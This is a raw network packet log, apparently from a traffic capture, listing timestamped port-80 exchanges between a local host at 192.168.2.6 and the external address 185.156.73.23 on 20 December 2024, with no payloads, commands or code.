Dec 20, 2024 16:36:47.826390028 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.826931953 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.826987028 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.827039003 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.827084064 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.828095913 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.828144073 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.828259945 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.828303099 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.828903913 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.828953981 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.829103947 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.829296112 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.829670906 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.829710007 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.829946995 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.829998016 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.830599070 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.830652952 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.830734968 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.830775976 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.831577063 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.831628084 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.831653118 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.831707954 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.832528114 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.832719088 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.832753897 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.832794905 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.833389997 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.833450079 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.833854914 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.833900928 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.834359884 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.834403038 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.834481955 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.834523916 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.835218906 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.835257053 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.835809946 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.835854053 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.836167097 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.836275101 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.836478949 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.836577892 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.837145090 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.837187052 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.837222099 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.837259054 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.838155031 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.838196039 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.838426113 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.838510990 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.839205027 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.839344978 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.839385986 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.839425087 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.840192080 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.840236902 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.840270996 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.840317965 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.840899944 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.840945005 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.841445923 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.841556072 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.841869116 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.841911077 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.842164040 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.842226028 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.843089104 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.843163967 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.843206882 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.844058037 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.844105005 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.844163895 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.844202995 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.844851971 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.844892025 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.844944954 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.844990969 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.845786095 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.845799923 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.845834017 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.845846891 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.989855051 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.990168095 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.990233898 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.990366936 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.990380049 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.990408897 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.990437984 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.991300106 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.991482973 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.991828918 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.991873026 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.992110014 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.992124081 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.992150068 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.992162943 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.993202925 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.993721962 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.993756056 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.993810892 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.993932962 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.993947029 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.993983984 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.994862080 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.994904041 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.995193958 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.995269060 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.995834112 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.995891094 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.996490955 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.996536016 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.996768951 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.996783972 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.996829033 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.997716904 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.997730970 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.997764111 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.997778893 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.998601913 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.998663902 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.998915911 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.998965025 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.999541998 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.999596119 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.999653101 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.999692917 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.000443935 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.000788927 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.000922918 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.000962973 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.001380920 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.001426935 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.002053022 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.002096891 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.002372980 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.002418041 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.002499104 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.002537966 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.003212929 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.003295898 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.004125118 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.004138947 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.004179001 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.004338026 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.004501104 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.005089045 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.005131960 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.005165100 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.005230904 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.006093025 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.006143093 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.006232977 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.006305933 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.007133007 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.007175922 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.007191896 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.007230043 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.008424997 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.008500099 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.008645058 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.008697987 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.010081053 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.010164976 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.010178089 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.010204077 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.010204077 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.010240078 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.010399103 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.010463953 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.010624886 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.010674953 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.011236906 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.011282921 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.011584997 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.011626005 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.011763096 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.011809111 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.012537956 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.012582064 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.013199091 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.013251066 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.013529062 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.013593912 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.013932943 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.014034986 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.014343023 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.014381886 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.014579058 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.014626026 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.015336990 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.015388966 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.015548944 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.015626907 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.016591072 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.016644955 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.016881943 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.016983986 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.017169952 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.017187119 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.017225981 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.018090963 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.018135071 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.018285990 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.018321037 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.019016981 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.019241095 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.019279957 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.019375086 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.019932032 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.020009995 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.020445108 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.020495892 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.020924091 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.020982981 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.021051884 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.021095991 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.021783113 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.021842003 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.022128105 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.022170067 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.022696972 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.022744894 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.022907019 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.023049116 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.023689032 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.023732901 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.024049044 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.024116039 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.024602890 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.024616957 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.024658918 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.025544882 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.025588989 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.025722027 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.025763035 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.026489973 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.026529074 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.026647091 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.026688099 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.027307987 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.027442932 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.027451992 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.027548075 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.028302908 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.028383970 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.028624058 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.028772116 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.029191971 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.029230118 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.029386044 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.029465914 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.030088902 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.030178070 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.030193090 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.030637980 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.031014919 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.031070948 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.031238079 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.031277895 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.031979084 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.032027960 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.032088041 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.032140017 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.032931089 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.032977104 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.033035040 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.033076048 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.033907890 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.034038067 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.034109116 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.034231901 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.034836054 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.034876108 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.034915924 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.034961939 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.035965919 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.036046982 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.036143064 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.036199093 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.036674976 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.036688089 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.036745071 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.036765099 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.037585020 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.037708998 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.037758112 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.038405895 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.038453102 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.182195902 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.182251930 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.182610989 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.182626963 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.182677031 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.182900906 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.182943106 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.183514118 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.183664083 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.183717966 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.183760881 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.184408903 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.184506893 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.184545040 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.184586048 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.185312033 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.185365915 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.185622931 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.185674906 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.186336994 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.186383963 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.186510086 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.186558008 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.187167883 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.187216043 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.187393904 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.187482119 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.188174009 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.188299894 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.188302994 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.188374996 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.189100027 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.189146996 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.189470053 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.189515114 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.189997911 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.190049887 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.190196037 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.190284014 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.190891981 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.190980911 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.191236019 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.191282988 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.191852093 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.191970110 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.192647934 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.192712069 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.192751884 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.192986965 CET	80	49962	185.156.73.23	192.168.2.6
